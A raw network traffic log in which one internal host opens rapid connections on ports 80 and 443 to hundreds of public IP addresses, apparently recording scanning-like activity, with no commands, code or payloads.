Jan 30, 2025 10:43:03.154000044 CET	61319	443	192.168.2.14	118.182.203.143
Jan 30, 2025 10:43:03.154006958 CET	61319	443	192.168.2.14	148.255.81.204
Jan 30, 2025 10:43:03.154022932 CET	61319	443	192.168.2.14	123.52.252.1
Jan 30, 2025 10:43:03.154026031 CET	61319	443	192.168.2.14	212.148.233.78
Jan 30, 2025 10:43:03.154042959 CET	61319	443	192.168.2.14	42.102.35.227
Jan 30, 2025 10:43:03.154045105 CET	61319	443	192.168.2.14	79.128.98.233
Jan 30, 2025 10:43:03.154062033 CET	61319	443	192.168.2.14	117.219.78.160
Jan 30, 2025 10:43:03.154062986 CET	61319	443	192.168.2.14	5.138.84.246
Jan 30, 2025 10:43:03.154081106 CET	61319	443	192.168.2.14	178.81.76.137
Jan 30, 2025 10:43:03.154087067 CET	61319	443	192.168.2.14	148.189.247.62
Jan 30, 2025 10:43:03.154097080 CET	61319	443	192.168.2.14	5.142.40.206
Jan 30, 2025 10:43:03.154099941 CET	61319	443	192.168.2.14	202.109.58.13
Jan 30, 2025 10:43:03.154112101 CET	61319	443	192.168.2.14	79.248.205.181
Jan 30, 2025 10:43:03.154115915 CET	61319	443	192.168.2.14	148.32.44.224
Jan 30, 2025 10:43:03.154139042 CET	61319	443	192.168.2.14	212.233.41.205
Jan 30, 2025 10:43:03.154150009 CET	61319	443	192.168.2.14	37.112.31.85
Jan 30, 2025 10:43:03.154155970 CET	61319	443	192.168.2.14	5.224.85.28
Jan 30, 2025 10:43:03.154174089 CET	61319	443	192.168.2.14	79.75.36.232
Jan 30, 2025 10:43:03.154174089 CET	61319	443	192.168.2.14	117.43.64.74
Jan 30, 2025 10:43:03.179231882 CET	45382	80	192.168.2.14	71.52.157.180
Jan 30, 2025 10:43:03.179234982 CET	38638	443	192.168.2.14	117.44.222.92
Jan 30, 2025 10:43:03.179255009 CET	443	38638	117.44.222.92	192.168.2.14
Jan 30, 2025 10:43:03.179343939 CET	38638	443	192.168.2.14	117.44.222.92
Jan 30, 2025 10:43:03.179632902 CET	38638	443	192.168.2.14	117.44.222.92
Jan 30, 2025 10:43:03.179647923 CET	443	38638	117.44.222.92	192.168.2.14
Jan 30, 2025 10:43:03.179683924 CET	38638	443	192.168.2.14	117.44.222.92
Jan 30, 2025 10:43:03.179801941 CET	443	38638	117.44.222.92	192.168.2.14
Jan 30, 2025 10:43:03.184089899 CET	80	45382	71.52.157.180	192.168.2.14
Jan 30, 2025 10:43:03.184174061 CET	45382	80	192.168.2.14	71.52.157.180
Jan 30, 2025 10:43:03.184253931 CET	45382	80	192.168.2.14	71.52.157.180
Jan 30, 2025 10:43:03.184287071 CET	62855	80	192.168.2.14	161.25.237.43
Jan 30, 2025 10:43:03.184288979 CET	62855	80	192.168.2.14	165.58.40.109
Jan 30, 2025 10:43:03.184299946 CET	62855	80	192.168.2.14	140.124.229.132
Jan 30, 2025 10:43:03.184300900 CET	62855	80	192.168.2.14	82.154.219.121
Jan 30, 2025 10:43:03.184299946 CET	62855	80	192.168.2.14	154.50.187.39
Jan 30, 2025 10:43:03.184303045 CET	62855	80	192.168.2.14	151.247.53.125
Jan 30, 2025 10:43:03.184304953 CET	62855	80	192.168.2.14	49.140.20.65
Jan 30, 2025 10:43:03.184312105 CET	62855	80	192.168.2.14	50.176.198.216
Jan 30, 2025 10:43:03.184328079 CET	62855	80	192.168.2.14	27.188.142.132
Jan 30, 2025 10:43:03.184328079 CET	62855	80	192.168.2.14	114.164.51.125
Jan 30, 2025 10:43:03.184328079 CET	62855	80	192.168.2.14	91.55.224.183
Jan 30, 2025 10:43:03.184329987 CET	62855	80	192.168.2.14	153.72.246.155
Jan 30, 2025 10:43:03.184336901 CET	62855	80	192.168.2.14	206.241.152.159
Jan 30, 2025 10:43:03.184343100 CET	62855	80	192.168.2.14	100.202.18.247
Jan 30, 2025 10:43:03.184355974 CET	62855	80	192.168.2.14	101.76.130.215
Jan 30, 2025 10:43:03.184359074 CET	62855	80	192.168.2.14	12.245.151.163
Jan 30, 2025 10:43:03.184365988 CET	62855	80	192.168.2.14	170.92.97.199
Jan 30, 2025 10:43:03.184367895 CET	62855	80	192.168.2.14	151.27.167.225
Jan 30, 2025 10:43:03.184374094 CET	62855	80	192.168.2.14	162.165.192.143
Jan 30, 2025 10:43:03.184374094 CET	62855	80	192.168.2.14	220.151.249.91
Jan 30, 2025 10:43:03.184382915 CET	62855	80	192.168.2.14	19.46.136.207
Jan 30, 2025 10:43:03.184384108 CET	62855	80	192.168.2.14	222.216.44.0
Jan 30, 2025 10:43:03.184396982 CET	62855	80	192.168.2.14	84.79.230.22
Jan 30, 2025 10:43:03.184397936 CET	62855	80	192.168.2.14	185.90.72.18
Jan 30, 2025 10:43:03.184398890 CET	62855	80	192.168.2.14	206.96.92.217
Jan 30, 2025 10:43:03.184398890 CET	62855	80	192.168.2.14	165.217.194.22
Jan 30, 2025 10:43:03.184401989 CET	62855	80	192.168.2.14	14.187.206.242
Jan 30, 2025 10:43:03.184412956 CET	62855	80	192.168.2.14	61.242.70.165
Jan 30, 2025 10:43:03.184415102 CET	62855	80	192.168.2.14	49.222.138.13
Jan 30, 2025 10:43:03.184420109 CET	62855	80	192.168.2.14	45.75.243.53
Jan 30, 2025 10:43:03.184431076 CET	62855	80	192.168.2.14	12.72.15.60
Jan 30, 2025 10:43:03.184432983 CET	62855	80	192.168.2.14	122.250.71.156
Jan 30, 2025 10:43:03.184442043 CET	62855	80	192.168.2.14	152.76.84.29
Jan 30, 2025 10:43:03.184442043 CET	62855	80	192.168.2.14	125.133.152.250
Jan 30, 2025 10:43:03.184451103 CET	62855	80	192.168.2.14	170.47.3.245
Jan 30, 2025 10:43:03.184457064 CET	62855	80	192.168.2.14	83.42.129.235
Jan 30, 2025 10:43:03.184463024 CET	62855	80	192.168.2.14	188.112.142.139
Jan 30, 2025 10:43:03.184467077 CET	62855	80	192.168.2.14	38.33.158.14
Jan 30, 2025 10:43:03.184472084 CET	62855	80	192.168.2.14	52.164.218.247
Jan 30, 2025 10:43:03.184472084 CET	62855	80	192.168.2.14	46.54.16.182
Jan 30, 2025 10:43:03.184483051 CET	62855	80	192.168.2.14	166.251.250.13
Jan 30, 2025 10:43:03.184488058 CET	62855	80	192.168.2.14	2.112.178.197
Jan 30, 2025 10:43:03.184495926 CET	62855	80	192.168.2.14	111.35.80.40
Jan 30, 2025 10:43:03.184504986 CET	62855	80	192.168.2.14	13.255.143.168
Jan 30, 2025 10:43:03.184510946 CET	62855	80	192.168.2.14	144.178.214.157
Jan 30, 2025 10:43:03.184514046 CET	62855	80	192.168.2.14	66.166.47.120
Jan 30, 2025 10:43:03.184518099 CET	62855	80	192.168.2.14	122.24.194.49
Jan 30, 2025 10:43:03.184520960 CET	62855	80	192.168.2.14	68.203.23.133
Jan 30, 2025 10:43:03.184537888 CET	62855	80	192.168.2.14	60.118.195.218
Jan 30, 2025 10:43:03.184537888 CET	62855	80	192.168.2.14	180.189.196.26
Jan 30, 2025 10:43:03.184554100 CET	62855	80	192.168.2.14	208.143.153.179
Jan 30, 2025 10:43:03.184554100 CET	62855	80	192.168.2.14	98.151.173.237
Jan 30, 2025 10:43:03.184554100 CET	62855	80	192.168.2.14	154.83.28.99
Jan 30, 2025 10:43:03.184559107 CET	62855	80	192.168.2.14	198.5.154.150
Jan 30, 2025 10:43:03.184566975 CET	62855	80	192.168.2.14	53.83.224.46
Jan 30, 2025 10:43:03.184573889 CET	62855	80	192.168.2.14	149.232.184.182
Jan 30, 2025 10:43:03.184581041 CET	62855	80	192.168.2.14	45.237.151.72
Jan 30, 2025 10:43:03.184588909 CET	62855	80	192.168.2.14	89.74.226.200
Jan 30, 2025 10:43:03.184597969 CET	62855	80	192.168.2.14	120.71.108.40
Jan 30, 2025 10:43:03.184597969 CET	62855	80	192.168.2.14	82.236.64.89
Jan 30, 2025 10:43:03.184607029 CET	62855	80	192.168.2.14	189.49.71.4
Jan 30, 2025 10:43:03.184611082 CET	62855	80	192.168.2.14	120.182.112.215
Jan 30, 2025 10:43:03.184612036 CET	62855	80	192.168.2.14	83.89.254.2
Jan 30, 2025 10:43:03.184631109 CET	62855	80	192.168.2.14	101.79.94.62
Jan 30, 2025 10:43:03.184631109 CET	62855	80	192.168.2.14	170.241.142.49
Jan 30, 2025 10:43:03.184631109 CET	62855	80	192.168.2.14	140.122.54.201
Jan 30, 2025 10:43:03.184633017 CET	62855	80	192.168.2.14	50.204.57.115
Jan 30, 2025 10:43:03.184633017 CET	62855	80	192.168.2.14	152.71.45.14
Jan 30, 2025 10:43:03.184645891 CET	62855	80	192.168.2.14	190.140.200.115
Jan 30, 2025 10:43:03.184645891 CET	62855	80	192.168.2.14	89.50.160.140
Jan 30, 2025 10:43:03.184653997 CET	62855	80	192.168.2.14	138.162.107.224
Jan 30, 2025 10:43:03.184654951 CET	62855	80	192.168.2.14	37.90.234.254
Jan 30, 2025 10:43:03.184658051 CET	62855	80	192.168.2.14	64.250.238.47
Jan 30, 2025 10:43:03.184670925 CET	62855	80	192.168.2.14	90.125.101.24
Jan 30, 2025 10:43:03.184670925 CET	62855	80	192.168.2.14	66.142.221.93
Jan 30, 2025 10:43:03.184674978 CET	62855	80	192.168.2.14	152.103.226.173
Jan 30, 2025 10:43:03.184676886 CET	62855	80	192.168.2.14	115.210.131.174
Jan 30, 2025 10:43:03.184689999 CET	62855	80	192.168.2.14	42.55.144.193
Jan 30, 2025 10:43:03.184689999 CET	62855	80	192.168.2.14	131.188.116.19
Jan 30, 2025 10:43:03.184698105 CET	62855	80	192.168.2.14	220.182.226.129
Jan 30, 2025 10:43:03.184698105 CET	62855	80	192.168.2.14	52.4.80.51
Jan 30, 2025 10:43:03.184715033 CET	62855	80	192.168.2.14	95.124.103.180
Jan 30, 2025 10:43:03.184715986 CET	62855	80	192.168.2.14	81.19.5.190
Jan 30, 2025 10:43:03.184732914 CET	62855	80	192.168.2.14	84.18.101.42
Jan 30, 2025 10:43:03.184734106 CET	62855	80	192.168.2.14	145.227.163.143
Jan 30, 2025 10:43:03.184734106 CET	62855	80	192.168.2.14	18.235.26.30
Jan 30, 2025 10:43:03.184741020 CET	62855	80	192.168.2.14	142.172.144.153
Jan 30, 2025 10:43:03.184746981 CET	62855	80	192.168.2.14	99.64.133.212
Jan 30, 2025 10:43:03.184748888 CET	62855	80	192.168.2.14	128.220.158.239
Jan 30, 2025 10:43:03.184753895 CET	62855	80	192.168.2.14	159.82.115.68
Jan 30, 2025 10:43:03.184767962 CET	62855	80	192.168.2.14	97.237.76.25
Jan 30, 2025 10:43:03.184772968 CET	62855	80	192.168.2.14	132.167.68.29
Jan 30, 2025 10:43:03.184775114 CET	62855	80	192.168.2.14	178.235.18.37
Jan 30, 2025 10:43:03.184782028 CET	62855	80	192.168.2.14	66.125.206.51
Jan 30, 2025 10:43:03.184794903 CET	62855	80	192.168.2.14	126.218.113.32
Jan 30, 2025 10:43:03.184798956 CET	62855	80	192.168.2.14	45.130.217.254
Jan 30, 2025 10:43:03.184801102 CET	62855	80	192.168.2.14	62.154.130.75
Jan 30, 2025 10:43:03.184801102 CET	62855	80	192.168.2.14	173.152.18.227
Jan 30, 2025 10:43:03.184803009 CET	62855	80	192.168.2.14	89.157.115.41
Jan 30, 2025 10:43:03.184806108 CET	62855	80	192.168.2.14	77.244.6.0
Jan 30, 2025 10:43:03.184814930 CET	62855	80	192.168.2.14	48.17.66.62
Jan 30, 2025 10:43:03.184815884 CET	62855	80	192.168.2.14	156.102.104.237
Jan 30, 2025 10:43:03.184823990 CET	62855	80	192.168.2.14	211.152.205.155
Jan 30, 2025 10:43:03.184835911 CET	62855	80	192.168.2.14	19.179.109.49
Jan 30, 2025 10:43:03.184837103 CET	62855	80	192.168.2.14	136.6.236.9
Jan 30, 2025 10:43:03.184839010 CET	62855	80	192.168.2.14	20.68.236.53
Jan 30, 2025 10:43:03.184855938 CET	62855	80	192.168.2.14	25.188.34.249
Jan 30, 2025 10:43:03.184859037 CET	62855	80	192.168.2.14	107.185.181.110
Jan 30, 2025 10:43:03.184861898 CET	62855	80	192.168.2.14	104.51.102.103
Jan 30, 2025 10:43:03.184863091 CET	62855	80	192.168.2.14	8.239.107.49
Jan 30, 2025 10:43:03.184863091 CET	62855	80	192.168.2.14	39.173.237.168
Jan 30, 2025 10:43:03.184869051 CET	62855	80	192.168.2.14	199.135.91.162
Jan 30, 2025 10:43:03.184885025 CET	62855	80	192.168.2.14	176.0.146.112
Jan 30, 2025 10:43:03.184885979 CET	62855	80	192.168.2.14	212.214.192.195
Jan 30, 2025 10:43:03.184890032 CET	62855	80	192.168.2.14	52.246.216.99
Jan 30, 2025 10:43:03.184894085 CET	62855	80	192.168.2.14	159.187.155.179
Jan 30, 2025 10:43:03.184904099 CET	62855	80	192.168.2.14	63.54.4.185
Jan 30, 2025 10:43:03.184911966 CET	62855	80	192.168.2.14	148.236.55.118
Jan 30, 2025 10:43:03.184915066 CET	62855	80	192.168.2.14	200.159.235.22
Jan 30, 2025 10:43:03.184915066 CET	62855	80	192.168.2.14	170.15.213.130
Jan 30, 2025 10:43:03.184928894 CET	62855	80	192.168.2.14	1.23.44.133
Jan 30, 2025 10:43:03.184935093 CET	62855	80	192.168.2.14	220.93.4.12
Jan 30, 2025 10:43:03.184935093 CET	62855	80	192.168.2.14	183.195.157.152
Jan 30, 2025 10:43:03.184935093 CET	62855	80	192.168.2.14	37.54.171.49
Jan 30, 2025 10:43:03.184935093 CET	62855	80	192.168.2.14	204.63.129.21
Jan 30, 2025 10:43:03.184946060 CET	62855	80	192.168.2.14	81.102.223.136
Jan 30, 2025 10:43:03.184951067 CET	62855	80	192.168.2.14	60.164.37.141
Jan 30, 2025 10:43:03.184956074 CET	62855	80	192.168.2.14	166.15.167.105
Jan 30, 2025 10:43:03.184956074 CET	62855	80	192.168.2.14	187.168.252.123
Jan 30, 2025 10:43:03.184963942 CET	62855	80	192.168.2.14	209.235.230.248
Jan 30, 2025 10:43:03.184969902 CET	62855	80	192.168.2.14	154.87.24.122
Jan 30, 2025 10:43:03.184978008 CET	62855	80	192.168.2.14	80.17.24.116
Jan 30, 2025 10:43:03.184988976 CET	62855	80	192.168.2.14	205.183.121.129
Jan 30, 2025 10:43:03.184988976 CET	62855	80	192.168.2.14	158.71.46.117
Jan 30, 2025 10:43:03.184990883 CET	62855	80	192.168.2.14	175.42.53.212
Jan 30, 2025 10:43:03.184993029 CET	62855	80	192.168.2.14	171.195.66.52
Jan 30, 2025 10:43:03.185005903 CET	62855	80	192.168.2.14	151.25.83.153
Jan 30, 2025 10:43:03.185009956 CET	62855	80	192.168.2.14	87.242.157.227
Jan 30, 2025 10:43:03.185009956 CET	62855	80	192.168.2.14	125.166.100.255
Jan 30, 2025 10:43:03.185012102 CET	62855	80	192.168.2.14	155.221.30.85
Jan 30, 2025 10:43:03.185015917 CET	62855	80	192.168.2.14	43.178.40.81
Jan 30, 2025 10:43:03.185029984 CET	62855	80	192.168.2.14	19.197.83.168
Jan 30, 2025 10:43:03.185036898 CET	62855	80	192.168.2.14	69.150.179.211
Jan 30, 2025 10:43:03.185038090 CET	62855	80	192.168.2.14	75.77.124.94
Jan 30, 2025 10:43:03.185039043 CET	62855	80	192.168.2.14	123.220.169.125
Jan 30, 2025 10:43:03.185039043 CET	62855	80	192.168.2.14	49.251.15.160
Jan 30, 2025 10:43:03.185039043 CET	62855	80	192.168.2.14	99.209.202.255
Jan 30, 2025 10:43:03.185054064 CET	62855	80	192.168.2.14	144.43.138.19
Jan 30, 2025 10:43:03.185065985 CET	62855	80	192.168.2.14	113.164.12.86
Jan 30, 2025 10:43:03.185065985 CET	62855	80	192.168.2.14	221.197.105.183
Jan 30, 2025 10:43:03.185067892 CET	62855	80	192.168.2.14	19.16.204.187
Jan 30, 2025 10:43:03.185075998 CET	62855	80	192.168.2.14	83.234.22.221
Jan 30, 2025 10:43:03.185087919 CET	62855	80	192.168.2.14	62.207.172.184
Jan 30, 2025 10:43:03.185091019 CET	62855	80	192.168.2.14	126.206.151.107
Jan 30, 2025 10:43:03.185091019 CET	62855	80	192.168.2.14	203.142.53.97
Jan 30, 2025 10:43:03.185096979 CET	62855	80	192.168.2.14	59.175.213.251
Jan 30, 2025 10:43:03.185098886 CET	62855	80	192.168.2.14	141.143.176.122
Jan 30, 2025 10:43:03.185111046 CET	62855	80	192.168.2.14	96.184.194.160
Jan 30, 2025 10:43:03.185111046 CET	62855	80	192.168.2.14	190.155.135.195
Jan 30, 2025 10:43:03.185120106 CET	62855	80	192.168.2.14	93.207.65.179
Jan 30, 2025 10:43:03.185122967 CET	62855	80	192.168.2.14	42.64.121.9
Jan 30, 2025 10:43:03.185137033 CET	62855	80	192.168.2.14	45.40.243.91
Jan 30, 2025 10:43:03.185142994 CET	62855	80	192.168.2.14	202.168.248.141
Jan 30, 2025 10:43:03.185143948 CET	62855	80	192.168.2.14	57.205.90.24
Jan 30, 2025 10:43:03.185143948 CET	62855	80	192.168.2.14	49.130.246.0
Jan 30, 2025 10:43:03.185154915 CET	62855	80	192.168.2.14	32.240.62.93
Jan 30, 2025 10:43:03.185159922 CET	62855	80	192.168.2.14	141.221.190.38
Jan 30, 2025 10:43:03.185173988 CET	62855	80	192.168.2.14	153.48.106.148
Jan 30, 2025 10:43:03.185178995 CET	62855	80	192.168.2.14	165.49.43.123
Jan 30, 2025 10:43:03.185180902 CET	62855	80	192.168.2.14	145.228.207.110
Jan 30, 2025 10:43:03.185183048 CET	62855	80	192.168.2.14	196.56.76.37
Jan 30, 2025 10:43:03.185189009 CET	62855	80	192.168.2.14	43.146.67.51
Jan 30, 2025 10:43:03.185194969 CET	62855	80	192.168.2.14	197.89.102.246
Jan 30, 2025 10:43:03.185204029 CET	62855	80	192.168.2.14	155.144.213.175
Jan 30, 2025 10:43:03.185204029 CET	62855	80	192.168.2.14	172.98.137.130
Jan 30, 2025 10:43:03.185205936 CET	62855	80	192.168.2.14	32.99.137.175
Jan 30, 2025 10:43:03.185210943 CET	62855	80	192.168.2.14	144.66.34.199
Jan 30, 2025 10:43:03.185225010 CET	62855	80	192.168.2.14	110.48.129.84
Jan 30, 2025 10:43:03.185225010 CET	62855	80	192.168.2.14	148.23.74.49
Jan 30, 2025 10:43:03.185244083 CET	62855	80	192.168.2.14	100.39.56.184
Jan 30, 2025 10:43:03.185244083 CET	62855	80	192.168.2.14	120.116.254.31
Jan 30, 2025 10:43:03.185246944 CET	62855	80	192.168.2.14	12.71.87.114
Jan 30, 2025 10:43:03.185246944 CET	62855	80	192.168.2.14	216.205.98.196
Jan 30, 2025 10:43:03.185264111 CET	62855	80	192.168.2.14	132.173.161.54
Jan 30, 2025 10:43:03.185265064 CET	62855	80	192.168.2.14	63.249.170.252
Jan 30, 2025 10:43:03.185266018 CET	62855	80	192.168.2.14	60.239.21.222
Jan 30, 2025 10:43:03.185267925 CET	62855	80	192.168.2.14	37.85.236.159
Jan 30, 2025 10:43:03.185275078 CET	62855	80	192.168.2.14	216.146.173.87
Jan 30, 2025 10:43:03.185286045 CET	62855	80	192.168.2.14	14.150.200.107
Jan 30, 2025 10:43:03.185286999 CET	62855	80	192.168.2.14	40.68.5.131
Jan 30, 2025 10:43:03.185305119 CET	62855	80	192.168.2.14	211.100.129.25
Jan 30, 2025 10:43:03.185306072 CET	62855	80	192.168.2.14	95.172.77.33
Jan 30, 2025 10:43:03.185314894 CET	62855	80	192.168.2.14	83.34.72.178
Jan 30, 2025 10:43:03.185318947 CET	62855	80	192.168.2.14	98.166.140.114
Jan 30, 2025 10:43:03.185321093 CET	62855	80	192.168.2.14	119.245.130.138
Jan 30, 2025 10:43:03.185333014 CET	62855	80	192.168.2.14	178.212.58.118
Jan 30, 2025 10:43:03.185333014 CET	62855	80	192.168.2.14	184.147.1.33
Jan 30, 2025 10:43:03.185338974 CET	62855	80	192.168.2.14	108.247.43.234
Jan 30, 2025 10:43:03.185354948 CET	62855	80	192.168.2.14	155.92.221.145
Jan 30, 2025 10:43:03.185355902 CET	62855	80	192.168.2.14	93.244.187.204
Jan 30, 2025 10:43:03.185359955 CET	62855	80	192.168.2.14	193.125.213.81
Jan 30, 2025 10:43:03.185360909 CET	62855	80	192.168.2.14	58.7.136.92
Jan 30, 2025 10:43:03.185365915 CET	62855	80	192.168.2.14	37.196.166.63
Jan 30, 2025 10:43:03.185370922 CET	62855	80	192.168.2.14	180.125.6.72
Jan 30, 2025 10:43:03.185384989 CET	62855	80	192.168.2.14	190.193.23.129
Jan 30, 2025 10:43:03.185389996 CET	62855	80	192.168.2.14	152.216.73.11
Jan 30, 2025 10:43:03.185389996 CET	62855	80	192.168.2.14	32.247.191.251
Jan 30, 2025 10:43:03.185391903 CET	62855	80	192.168.2.14	95.59.78.123
Jan 30, 2025 10:43:03.185400009 CET	62855	80	192.168.2.14	193.201.239.122
Jan 30, 2025 10:43:03.185405970 CET	62855	80	192.168.2.14	222.55.15.105
Jan 30, 2025 10:43:03.185406923 CET	62855	80	192.168.2.14	42.154.37.127
Jan 30, 2025 10:43:03.185414076 CET	62855	80	192.168.2.14	96.242.202.251
Jan 30, 2025 10:43:03.185422897 CET	62855	80	192.168.2.14	151.228.203.23
Jan 30, 2025 10:43:03.185427904 CET	62855	80	192.168.2.14	175.167.124.67
Jan 30, 2025 10:43:03.185427904 CET	62855	80	192.168.2.14	157.181.183.224
Jan 30, 2025 10:43:03.185427904 CET	62855	80	192.168.2.14	181.100.63.209
Jan 30, 2025 10:43:03.185442924 CET	62855	80	192.168.2.14	71.71.145.95
Jan 30, 2025 10:43:03.185453892 CET	62855	80	192.168.2.14	132.210.11.127
Jan 30, 2025 10:43:03.185453892 CET	62855	80	192.168.2.14	182.140.54.37
Jan 30, 2025 10:43:03.185453892 CET	62855	80	192.168.2.14	213.129.143.132
Jan 30, 2025 10:43:03.185453892 CET	62855	80	192.168.2.14	109.55.143.114
Jan 30, 2025 10:43:03.185466051 CET	62855	80	192.168.2.14	185.146.95.49
Jan 30, 2025 10:43:03.185466051 CET	62855	80	192.168.2.14	186.229.140.158
Jan 30, 2025 10:43:03.185481071 CET	62855	80	192.168.2.14	193.90.108.179
Jan 30, 2025 10:43:03.185481071 CET	62855	80	192.168.2.14	123.114.186.1
Jan 30, 2025 10:43:03.185482025 CET	62855	80	192.168.2.14	150.157.192.67
Jan 30, 2025 10:43:03.185484886 CET	62855	80	192.168.2.14	166.162.180.143
Jan 30, 2025 10:43:03.185491085 CET	62855	80	192.168.2.14	100.194.11.30
Jan 30, 2025 10:43:03.185499907 CET	62855	80	192.168.2.14	191.122.234.175
Jan 30, 2025 10:43:03.185509920 CET	62855	80	192.168.2.14	111.79.191.220
Jan 30, 2025 10:43:03.185509920 CET	62855	80	192.168.2.14	66.221.41.210
Jan 30, 2025 10:43:03.185518026 CET	62855	80	192.168.2.14	79.224.190.85
Jan 30, 2025 10:43:03.185532093 CET	62855	80	192.168.2.14	160.83.91.180
Jan 30, 2025 10:43:03.185535908 CET	62855	80	192.168.2.14	146.47.97.133
Jan 30, 2025 10:43:03.185542107 CET	62855	80	192.168.2.14	20.186.74.178
Jan 30, 2025 10:43:03.185542107 CET	62855	80	192.168.2.14	150.153.232.152
Jan 30, 2025 10:43:03.185553074 CET	62855	80	192.168.2.14	173.46.87.153
Jan 30, 2025 10:43:03.185565948 CET	62855	80	192.168.2.14	160.146.69.106
Jan 30, 2025 10:43:03.185565948 CET	62855	80	192.168.2.14	187.48.114.125
Jan 30, 2025 10:43:03.185570002 CET	62855	80	192.168.2.14	221.67.77.97
Jan 30, 2025 10:43:03.185580015 CET	62855	80	192.168.2.14	117.165.109.186
Jan 30, 2025 10:43:03.185580969 CET	62855	80	192.168.2.14	4.47.37.78
Jan 30, 2025 10:43:03.185587883 CET	62855	80	192.168.2.14	38.89.109.149
Jan 30, 2025 10:43:03.185600042 CET	62855	80	192.168.2.14	116.3.210.6
Jan 30, 2025 10:43:03.185600996 CET	62855	80	192.168.2.14	177.244.242.247
Jan 30, 2025 10:43:03.185600996 CET	62855	80	192.168.2.14	126.69.240.170
Jan 30, 2025 10:43:03.185606003 CET	62855	80	192.168.2.14	162.211.241.111
Jan 30, 2025 10:43:03.185622931 CET	62855	80	192.168.2.14	93.63.219.228
Jan 30, 2025 10:43:03.185625076 CET	62855	80	192.168.2.14	132.233.111.229
Jan 30, 2025 10:43:03.185625076 CET	62855	80	192.168.2.14	94.236.14.85
Jan 30, 2025 10:43:03.185628891 CET	62855	80	192.168.2.14	48.151.53.126
Jan 30, 2025 10:43:03.185632944 CET	62855	80	192.168.2.14	9.243.47.164
Jan 30, 2025 10:43:03.185642958 CET	62855	80	192.168.2.14	35.250.117.241
Jan 30, 2025 10:43:03.185642958 CET	62855	80	192.168.2.14	49.149.236.134
Jan 30, 2025 10:43:03.185657024 CET	62855	80	192.168.2.14	175.121.37.61
Jan 30, 2025 10:43:03.185658932 CET	62855	80	192.168.2.14	186.85.170.212
Jan 30, 2025 10:43:03.185662985 CET	62855	80	192.168.2.14	136.40.56.156
Jan 30, 2025 10:43:03.185671091 CET	62855	80	192.168.2.14	156.103.165.34
Jan 30, 2025 10:43:03.185678959 CET	62855	80	192.168.2.14	209.54.165.168
Jan 30, 2025 10:43:03.185688972 CET	62855	80	192.168.2.14	141.75.167.165
Jan 30, 2025 10:43:03.185693979 CET	62855	80	192.168.2.14	123.133.196.121
Jan 30, 2025 10:43:03.185695887 CET	62855	80	192.168.2.14	193.168.129.240
Jan 30, 2025 10:43:03.185695887 CET	62855	80	192.168.2.14	46.148.166.212
Jan 30, 2025 10:43:03.185697079 CET	62855	80	192.168.2.14	201.219.88.109
Jan 30, 2025 10:43:03.185704947 CET	62855	80	192.168.2.14	123.36.123.50
Jan 30, 2025 10:43:03.185705900 CET	62855	80	192.168.2.14	178.68.163.252
Jan 30, 2025 10:43:03.185719013 CET	62855	80	192.168.2.14	213.179.41.197
Jan 30, 2025 10:43:03.185729027 CET	62855	80	192.168.2.14	46.163.237.245
Jan 30, 2025 10:43:03.185729027 CET	62855	80	192.168.2.14	27.134.199.152
Jan 30, 2025 10:43:03.185729980 CET	62855	80	192.168.2.14	78.66.217.219
Jan 30, 2025 10:43:03.185729980 CET	62855	80	192.168.2.14	71.104.34.33
Jan 30, 2025 10:43:03.185729027 CET	62855	80	192.168.2.14	125.33.104.58
Jan 30, 2025 10:43:03.185729980 CET	62855	80	192.168.2.14	203.188.150.237
Jan 30, 2025 10:43:03.185729980 CET	62855	80	192.168.2.14	67.68.146.171
Jan 30, 2025 10:43:03.185741901 CET	62855	80	192.168.2.14	118.65.49.120
Jan 30, 2025 10:43:03.185741901 CET	62855	80	192.168.2.14	50.184.116.66
Jan 30, 2025 10:43:03.185755968 CET	62855	80	192.168.2.14	18.69.222.194
Jan 30, 2025 10:43:03.185756922 CET	62855	80	192.168.2.14	186.4.188.118
Jan 30, 2025 10:43:03.185765982 CET	62855	80	192.168.2.14	204.153.245.83
Jan 30, 2025 10:43:03.185770988 CET	62855	80	192.168.2.14	12.114.10.149
Jan 30, 2025 10:43:03.185776949 CET	62855	80	192.168.2.14	146.28.93.243
Jan 30, 2025 10:43:03.185781002 CET	62855	80	192.168.2.14	130.23.253.173
Jan 30, 2025 10:43:03.185790062 CET	62855	80	192.168.2.14	158.153.154.169
Jan 30, 2025 10:43:03.185795069 CET	62855	80	192.168.2.14	203.55.207.139
Jan 30, 2025 10:43:03.185805082 CET	62855	80	192.168.2.14	202.57.228.230
Jan 30, 2025 10:43:03.185806036 CET	62855	80	192.168.2.14	138.106.125.129
Jan 30, 2025 10:43:03.185811043 CET	62855	80	192.168.2.14	182.208.232.194
Jan 30, 2025 10:43:03.185825109 CET	62855	80	192.168.2.14	110.235.96.40
Jan 30, 2025 10:43:03.185827971 CET	62855	80	192.168.2.14	77.12.2.177
Jan 30, 2025 10:43:03.185832024 CET	62855	80	192.168.2.14	118.101.49.68
Jan 30, 2025 10:43:03.185832024 CET	62855	80	192.168.2.14	148.209.218.93
Jan 30, 2025 10:43:03.185842037 CET	62855	80	192.168.2.14	157.99.220.179
Jan 30, 2025 10:43:03.185858965 CET	62855	80	192.168.2.14	4.128.184.248
Jan 30, 2025 10:43:03.185858965 CET	62855	80	192.168.2.14	217.145.11.225
Jan 30, 2025 10:43:03.185862064 CET	62855	80	192.168.2.14	1.59.227.81
Jan 30, 2025 10:43:03.185863018 CET	62855	80	192.168.2.14	24.99.89.253
Jan 30, 2025 10:43:03.185862064 CET	62855	80	192.168.2.14	39.192.16.51
Jan 30, 2025 10:43:03.185867071 CET	62855	80	192.168.2.14	94.0.18.45
Jan 30, 2025 10:43:03.185879946 CET	62855	80	192.168.2.14	223.11.184.121
Jan 30, 2025 10:43:03.185879946 CET	62855	80	192.168.2.14	62.31.79.224
Jan 30, 2025 10:43:03.185895920 CET	62855	80	192.168.2.14	165.108.40.244
Jan 30, 2025 10:43:03.185895920 CET	62855	80	192.168.2.14	141.219.90.7
Jan 30, 2025 10:43:03.185899019 CET	62855	80	192.168.2.14	195.114.160.70
Jan 30, 2025 10:43:03.185905933 CET	62855	80	192.168.2.14	54.184.53.172
Jan 30, 2025 10:43:03.185911894 CET	62855	80	192.168.2.14	149.115.8.162
Jan 30, 2025 10:43:03.185920000 CET	62855	80	192.168.2.14	83.44.173.2
Jan 30, 2025 10:43:03.185921907 CET	62855	80	192.168.2.14	9.178.79.157
Jan 30, 2025 10:43:03.185925961 CET	62855	80	192.168.2.14	34.41.134.185
Jan 30, 2025 10:43:03.185933113 CET	62855	80	192.168.2.14	131.71.190.242
Jan 30, 2025 10:43:03.185935020 CET	62855	80	192.168.2.14	77.143.95.186
